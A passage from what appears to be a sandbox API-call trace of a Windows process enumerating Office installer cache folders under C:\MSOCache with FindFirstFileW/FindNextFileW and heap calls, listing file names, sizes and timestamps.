cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0054.136] GetProcessHeap () returned 0x730000 [0054.136] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.136] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.136] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.136] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0054.136] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0054.136] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0054.136] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0054.137] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.137] GetProcessHeap () returned 0x730000 [0054.137] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.137] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0054.137] GetProcessHeap () returned 0x730000 [0054.137] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.469] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.470] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0054.470] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0054.470] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0054.470] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.470] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.470] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.470] GetProcessHeap () returned 0x730000 [0054.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.470] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0054.470] GetProcessHeap () returned 0x730000 [0054.470] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.480] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.480] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0054.480] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0054.480] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0054.480] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.481] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.481] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.482] GetProcessHeap () returned 0x730000 [0054.482] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.482] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0054.482] GetProcessHeap () returned 0x730000 [0054.482] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.490] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.490] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.492] GetProcessHeap () returned 0x730000 [0054.492] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.492] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0054.492] GetProcessHeap () returned 0x730000 [0054.492] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.495] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.495] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.495] GetProcessHeap () returned 0x730000 [0054.495] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754eb8 [0054.503] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0054.503] FindClose (in: hFindFile=0x754eb8 | out: hFindFile=0x754eb8) returned 1 [0054.503] GetProcessHeap () returned 0x730000 [0054.503] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 